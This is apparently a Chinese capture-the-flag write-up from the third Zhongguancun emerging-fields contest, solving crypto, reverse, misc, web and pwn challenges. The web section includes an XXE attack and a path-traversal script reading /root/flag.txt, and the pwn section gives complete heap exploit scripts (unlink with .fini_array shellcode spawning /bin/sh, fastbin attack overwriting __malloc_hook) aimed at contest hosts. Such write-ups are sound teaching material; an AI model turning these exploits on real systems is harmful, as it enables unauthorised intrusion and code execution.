中关村第三届新兴领域专题赛WP

Crypto

sm4

使用pysm4库。不知道为什么字符串的解密解不出结果,用整形加解密可以

1
2
3
4
5
6
7
8
9
10
11
12
13
from pysm4 import decrypt
key = [13, 204, 99, 177, 254, 41, 198, 163, 201, 226, 56, 214, 192, 194, 98, 104]
c = [46, 48, 220, 156, 184, 218, 57, 13, 246, 91, 1, 63, 60, 67, 105, 64, 149, 240, 217, 77, 107, 49, 222, 61, 155, 225, 231, 196, 167, 121, 9, 16, 60, 182, 65, 101, 39, 253, 250, 224, 9, 204, 154, 122, 206, 43, 97, 59]
key = "".join(map(chr,key))
c = "".join(map(chr,c))
plain = ""
for i in range(3):
t = c[i*16:i*16+16].encode("hex")
cipher_num = eval("0x"+t)
mk = 0x0dcc63b1fe29c6a3c9e238d6c0c26268
m = decrypt(cipher_num,mk)
plain+=hex(m)[2:-1].decode("hex")
print(plain)

dp

dp = d%(p-1)

知道dp很容易求得p

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import gmpy2
import libnum

e=65537
n=9637571466652899741848142654451413405801976834328667418509217149503238513830870985353918314633160277580591819016181785300521866901536670666234046521697590230079161867282389124998093526637796571100147052430445089605759722456767679930869250538932528092292071024877213105462554819256136145385237821098127348787416199401770954567019811050508888349297579329222552491826770225583983899834347983888473219771888063393354348613119521862989609112706536794212028369088219375364362615622092005578099889045473175051574207130932430162265994221914833343534531743589037146933738549770365029230545884239551015472122598634133661853901
dp=81339405704902517676022188908547543689627829453799865550091494842725439570571310071337729038516525539158092247771184675844795891671744082925462138427070614848951224652874430072917346702280925974595608822751382808802457160317381440319175601623719969138918927272712366710634393379149593082774688540571485214097
c=5971372776574706905158546698157178098706187597204981662036310534369575915776950962893790809274833462545672702278129839887482283641996814437707885716134279091994238891294614019371247451378504745748882207694219990495603397913371579808848136183106703158532870472345648247817132700604598385677497138485776569096958910782582696229046024695529762572289705021673895852985396416704278321332667281973074372362761992335826576550161390158761314769544548809326036026461123102509831887999493584436939086255411387879202594399181211724444617225689922628790388129032022982596393215038044861544602046137258904612792518629229736324827

for i in range(1,65538):
if(dp*e-1)%i == 0:
if n%(((dp*e-1)/i)+1)==0:
p=((dp*e-1)/i)+1
q=n/(((dp*e-1)/i)+1)
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)%phi
m = pow(c,d,n)
print hex(m)[2:].decode("hex")

Reverse

flat

使用ollvm使控制流程平坦化 。不过由于内容不复杂,调试一下很容易知道加密过程。

前4步都是校验flag格式,flag{},中间包裹一串数+字母

但是由于校验的原因出现了多解:

1
2
3
4
5
6
7
8
9
10
11
12
13
res = "J2261C63-3I2I-EGE4-IBCC-IE41A5I5F4HB"
t = map(ord,res)
print(t)
s = []
for i in t:
if (i>=(ord('0')+0x11) )and (i<= (ord('9') +0x11)):
i-=0x11
elif (i>=(ord('a')-0x30)) and (i<=(ord('z')-0x30)):
i+=0x30

s.append(i)
s = "".join(map(chr,s))
print(s)

这里的到

1
9bbfa2fc-c8b8-464d-8122-84da0e8e5d71

如果换一下if的顺序,会得到:

1
zbbfasfc-cyby-uwud-yrss-yudaqeyevdxr

由于数字的加密在两个范围中间有重复,因此数字解回去会有多解的境况。

每一位不同的互相组合,能得到2**17种解。

都是符合条件的解,输入都能得到正确结果

猜测是uuid,第一条正确。

src_leak

给出了c++的源码,是一系列的模板元编程,分析一下每个函数的作用,以及给出的结果,按照注释中说的求出每部分的值

x1-x5进行如下运算:

  • func2求参数的二进制数中1的个数,func3求参数的奇偶。全部返回1说明他们的二进制数应该有奇数个1。
  • _func1求参数的平方根,向下取整,使用了牛顿法求根。
  • flag是满足这样的数最小的,因为最终加起来要最小

于是只需要从结果的平方爆到结果+1的平方,找到第一个二进制数有奇数个1的数。

最后x6计算了func4<1>到func4<10000>中返回1的个数

func4为判断是否为素数,是返回1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from math import *

def bin1(a):
s = bin(a)
s = s[2:]
num = 0
for i in s:
if i == '1':
num+=1
return num%2

def get_result(a):
mi = a*a
ma = (a+1)*(a+1)
for i in range(mi,ma):
if(bin1(i)):
return i

def is_prime(a):
if a == 0:
return 0
if a == 1:
return 0
if a == 2:
return 1
for i in range(2,(a/2)+1):
if a%i == 0:
return 0
return 1
res = [963,4396,6666,1999,3141]
flag = ""
for i in res:
flag+=str(get_result(i))
flag+='-'
s = 0
for i in range(1,10001):
if is_prime(i):
s+=1
flag+=str(s)
print(flag)

Misc

签到

img

24word

foremast出来一个加密zip

图片内容解密: http://ctf.ssleye.com/cvencode.html

核心价值观编码

自由和谐公正诚信平等公正自由公正平等平等公正公正民主公正诚信文明法治平等公正平等法治和谐–》CodeValues

img

扫描即得flag

yasaxi

010 editor打开,压缩包结尾能看到密码为loli

解压出图片,末尾多了一串字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
..... ..... ..... ..... !?!!. ?.... ..... ..... ..... .?.?! .?... .!...
..... ..... !.?.. ..... !?!!. ?!!!! !!?.? !.?!! !!!.. ..... ..... .!.?.
..... ...!? !!.?. ..... ..?.? !.?.. ..... .!.?. ..... ...!? !!.?! !!!!!
!!?.? !.?!! !!!!! !!!!. ?.... ..... ....! ?!!.? !!!!! !!!!! !!?.? !.?!!
!!!!! !!!!! !!!!! !!!!! !.!!! !!!!! !!!!! .?... ..... ..... ..!?! !.?..
..... ..... ..?.? !.?.. ..!.? ..... ..... ...!? !!.?! !!!!! !!!!! !?.?!
.?!!! !!!!! !!!!! !!!!! !!!.? ..... ..... ...!? !!.?. ..... ..... .?.?!
.?... ..... ..... ...!. ..!.! !!!!. ?.... ..... ..... .!?!! .?!!! !!!!!
!!!!! !?.?! .?!!! !!!!. ..... ..... ..!.! !!.!! !.!!! .!!!! !!!.. .....
..... ...!. ?.... ..... ....! ?!!.? ..... ..... ..?.? !.?.. ..... .....
..... .!.?. ..... ..... ..!?! !.?!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!!!!
!!!!! !!.!! !!!.! !!!!! !!!.? ..... ..!?! !.?.. ....? .?!.? ..... .!.?.
..... ..... ..!?! !.?.. ..... ..... ?.?!. ?.... ..... ..... ....! .!!!.
!!!!! !!.?. ..... ..... ....! ?!!.? !!!!! !!!!! !!!!? .?!.? !!!!! !!!!.
..... ...!. ..... ..... ..!.! !!... ..!.? ..... ..... ...!? !!.?. .....
..... .?.?! .?... ..... ..!.? ..... ..... ...!? !!.?! !!!!! !!!!! !?.?!
.?!!! !!!!! !!!!! !!.!! !.?.. ..... ..... .!?!! .?... ..... ....? .?!.?
..... ..... ..... .!.?. ..... ..... ..!?! !.?!! !!!!! !!!!! ?.?!. ?!!!!
!!!!! !!!!! !!!!! !!.!. ?.... ..... ..... .!?!! .?... ..... ..... .?.?!
.?!.! !!!!. ?.... ..... ..!?! !.?.. ..... ...?. ?!.?. ...!. ?.

查找发现是Ook!编码

http://tool.bugku.com/brainfuck/?wafcloud=3

解码一下得到flag

1
flag{f71d6bca-3210-4a31-9feb-1768a65a33db}

七代目

修改成gif头之后,是一个火影忍者,尝试着脱出每一帧来看看

发现flag在第七帧。

1565875405090

Web

Game

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#/js/cqg.js
started--;
//console.log(score);
if(score == 15){
$.ajax({
url: 'score.php',
type: 'POST',
data: 'score='+score,
success: function(data){
var data = data;
$("#output").text(data);
}
})
}

img

who_are_you?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function func() {
// document.getElementById().value
var xml = '' +
'<\?xml version="1.0" encoding="UTF-8"\?>' +
'<feedback>' +
'<author>' + document.getElementById('name').value+ '</author>' +
'</feedback>';
console.log(xml);
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4) {
// console.log(xmlhttp.readyState);
// console.log(xmlhttp.responseText);
var res = xmlhttp.responseText;
document.getElementById('title').textContent = res
}
};
xmlhttp.open("POST", "index.php", true);
xmlhttp.send(xml);
return false;

盲猜xxe漏洞

img

之后用php:filter流读index.php

img

1565875153527

show_me_your_image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import  base64
import string
import requests
import re
import time
a = string.letters+string.uppercase+'1234567890'
dict = {'1': 'r', '0': '1', '3': 'U', '2': 'O', '5': 'h', '4': 'b', '6': 'K', '9': 'n', '8': 't', 'A': '/', 'C': '3', 'B': 'd', 'E': 'i', 'D': 'y', 'G': 'm', 'F': 'N', 'I': '7', 'H': 'o', 'K': 'z', 'J': 'C', 'M': 'l', 'L': 'a', 'O': 'w', 'N': 'D', 'Q': 'q', 'P': '2', 'S': 'Z', 'R': 'W', 'U': 'J', 'T': '5', 'W': 'Y', 'V': 'P', 'Y': '0', 'X': 'L', 'Z': 'M', 'a': 'T', 'c': 'j', 'b': 'A', 'e': '6', 'd': 'S', 'g': 'e', 'i': 'x', 'h': 'f', 'k': '9', 'j': 'k', 'm': 'X', 'l': 'V', 'o': 'v', 'n': 'g', 'q': 'R', 'p': 's', 's': 'u', 'r': 'c', 'u': '%', 't': 'F', 'w': 'p', 'v': '8', 'y': '4', 'x': 'H', 'z': 'B','=':'='}
sess = requests.session()
url = 'http://5ed0337a6db14a2f8de1002dd3bffc3ef1bf03db623d43f5.changame.ichunqiu.com/img.php?name='
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0'
}

def bb(nn):
a = string.letters+string.uppercase+'1234567890'
for i in a:
for j in a:
for k in a:
for l in a:
if nn in base64.b64encode(i+j+k+l)[:-3]:
ss = i+j+k+l
return ss

def tihuan(ddd):
c = base64.b64encode(ddd)
ccc = ''
for i in c:
ccc +=dict[i]
return ccc

def getflag(sss):
c = tihuan(sss)
r = sess.get(url+c)
print r.text

# for i in a :
# if i =='f' or i=='7':
# continue
# ss = bb(i)
# dd = base64.b64encode(ss)
# files={'file':(ss+'.png','')}
# r=sess.post(url=url,files=files,headers=header)
# pattert = re.compile('name=(.*)?"')
# a = pattert.findall(r.content)
# dict[i]=a[1][dd.index(i)]

getflag('../../../../proc/self/cwd/templates/upload.html')
getflag('../../../../../root/flag.txt')

pwn

pwn1

比较明显的溢出点
edit功能中改变了size 其中输入时没有用0截断所以导致如果输入满就可以改变下一个chunkhead
因为静态程序且没有nx所以已经知道bss地址所以具体做法如下

  • unlink
  • set .fini_array-> shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
payload = ""
def add(size,c):
global payload
p.send("1".ljust(0x20,'\x00'))
payload += "1".ljust(0x20,'\x00')
p.send(str(size).ljust(0x20,'\x00'))
payload += str(size).ljust(0x20,'\x00')
p.send(c.ljust(size,'\x00'))
payload += c.ljust(size,'\x00')
def free(idx):
global payload
p.send("2".ljust(0x20,'\x00'))
payload += "2".ljust(0x20,'\x00')
p.send(str(idx).ljust(0x20,'\x00'))
payload += str(idx).ljust(0x20,'\x00')
def edit(idx,c):
global payload
p.send("3".ljust(0x20,'\x00'))
payload += "3".ljust(0x20,'\x00')
p.send(str(idx).ljust(0x20,'\x00'))
payload += str(idx).ljust(0x20,'\x00')
p.send(c)
payload += c

p=process("./pwn")
#p = remote("df0a72047d6c.gamectf.com","10001")
context.arch='i386'
context.log_level='error'
p.readuntil(":\n")
sh='''
xor eax,eax
mov al,0xb
mov ebx,0x80e9f8b
xor ecx,ecx
xor edx,edx
int 0x80
'''
add(0x24,p32(0xdeadbeef)*7)#0
add(0x24,p32(0xdeadbeef)*9)#1
add(0x24,p32(0xdeadbeef)*9)#2
add(0x24,p32(0xdeadbeef)*9)#3
add(0x64,p32(0xdeadbeef)*7)#4
add(0x24,"\x00"*0x24)#5
edit(3,p32(0xdeadbeef)*9)
address=0x80eba44+8
edit(3,flat([0xdeadbeef,0x21,address-0xc,address-0x8])+'\xff'*0x10+p32(0x20)+'\x68')
free(4)
#0x80e9f74
edit(3,p32(0x80e9f74)+"\n")
edit(0,(p32(0x80e9f78)+p32(0x80e9f7c)+asm(sh)+'/bin/sh\x00').ljust(0x24,'\x00'))
#gdb.attach(p,'b* 0x80e9f7c')
p.send("4".ljust(0x20,'\x00'))
payload += "4".ljust(0x20,'\x00')
payload += "\ncat /flag\n"
print(payload.encode("base64"))

p.interactive()

之后因为服务加了一个外壳所以把所有输出连在一起base64发过去就可以

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
payload = "MQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzNgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO++rd7vvq3e776t3u++rd7vvq3e776t3u++rd4AAAAAAAAAADEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMzYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADvvq3e776t3u++rd7vvq3e776t3u++rd7vvq3e776t3u++rd4xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADM2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA776t3u++rd7vvq3e776t3u++rd7vvq3e776t3u++rd7vvq3eMQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzNgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO++rd7vvq3e776t3u++rd7vvq3e776t3u++rd7vvq3e776t3jEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMTAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADvvq3e776t3u++rd7vvq3e776t3u++rd7vvq3eAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzNgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADvvq3e776t3u++rd7vvq3e776t3u++rd7vvq3e776t3u++rd4zAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA776t3iEAAABAug4IRLoOCP////////////////////8gAAAAaDIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdJ8OCAozAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeJ8OCHyfDggxwLALu4ufDggxyTHSzYAvYmluL3NoAAAAAAAANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKY2F0IC9mbGFnCg=="
"""
p = process("./pwn")
p.sendline(payload.decode("base64"))
p.interactive()
"""
p = remote("df0a72047d6c.gamectf.com","10001")
p.recvuntil("Please input you token:")
p.sendline("icq558882550e121db79e80559a8b38c")
p.recvuntil("So, please give me a base64 strings:")
p.sendline(payload)
p.interactive()

pwn2

漏洞点比较明显,逻辑漏洞

1
2
3
4
5
6
7
8
9
10
11
for ( j = 0; j <= i; ++j )
{
if ( tmp[j] < 0 && (unsigned int)tmp[j] > 0x1F || !list[tmp[j]] )
{
puts("Some error!");
goto LABEL_38;
}
if ( len > 1024 && !v7 )
v7 = 1;
len += list[tmp[j]]->size;
}

这里比较睿智地先判断len再做加…
所以可以在最后一次加的时候完成溢出
思路也比较直接:

  • 调整堆块 利用overlap 造成leak
  • overalp 做fastbin atk:__malloc_hook<-one_gadget
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
def cmd(c):
p.sendlineafter(">>> ",str(c))
def s(c):
p.sendlineafter(": ",str(c))
def add(size,c):
cmd(1)
s(size)
s(c)
def show(idx):
cmd(2)
s(idx)
def free(idx):
cmd(3)
s(idx)
def cat(c):
cmd(5)
s(c)
def dub(a,b):
cmd(4)
s(a)
s(b)

context.log_level='debug'
context.arch='amd64'
#p=process('./pwn',env={'LD_PRELOAD':'./libc-2.24.so'})
p=remote("a32f094e35d7.gamectf.com",20001)
add(0x18,"A")#0
add(0x18,"A"*0x11)#1
free(0)
add(0x3f8,"X"*0x3f7)#0
add(0x440,"X"*0x43f)#2
free(1)
add(0x28,"A"*(0x28-0x16-1)+'\xa1')#1
add(0x68,p64(0x21)*4+p64(0xa0)+p64(0x20)+p64(0x21)*6)#3
add(0x18,'A')#4
add(0x18,'A')#5
add(52,'A')#6
free(2)
cat("0 1")
free(4)
free(5)
add(0x38,"A")
show(1)
p.readuntil(": ")
base=u64(p.readline()[:-1].ljust(8,'\x00'))-(0x7ffff7dd1b78-0x7ffff7a0d000)-(0x7ffff7a0cfe0-0x00007ffff7a10000)
log.warning(hex(base))
free(3)
libc=ELF("./libc-2.24.so")
libc.address=base
add(0x58,p64(0)*5+p64(0x71)+p64(libc.sym['__malloc_hook']-35))

add(0x68,"1")
#gdb.attach(p,'''
#''')
#dub(6,4)
one=0xf2519+base
add(0x68,"\x00"*19+p64(one))
p.interactive('>')
-------------本文结束感谢您的阅读-------------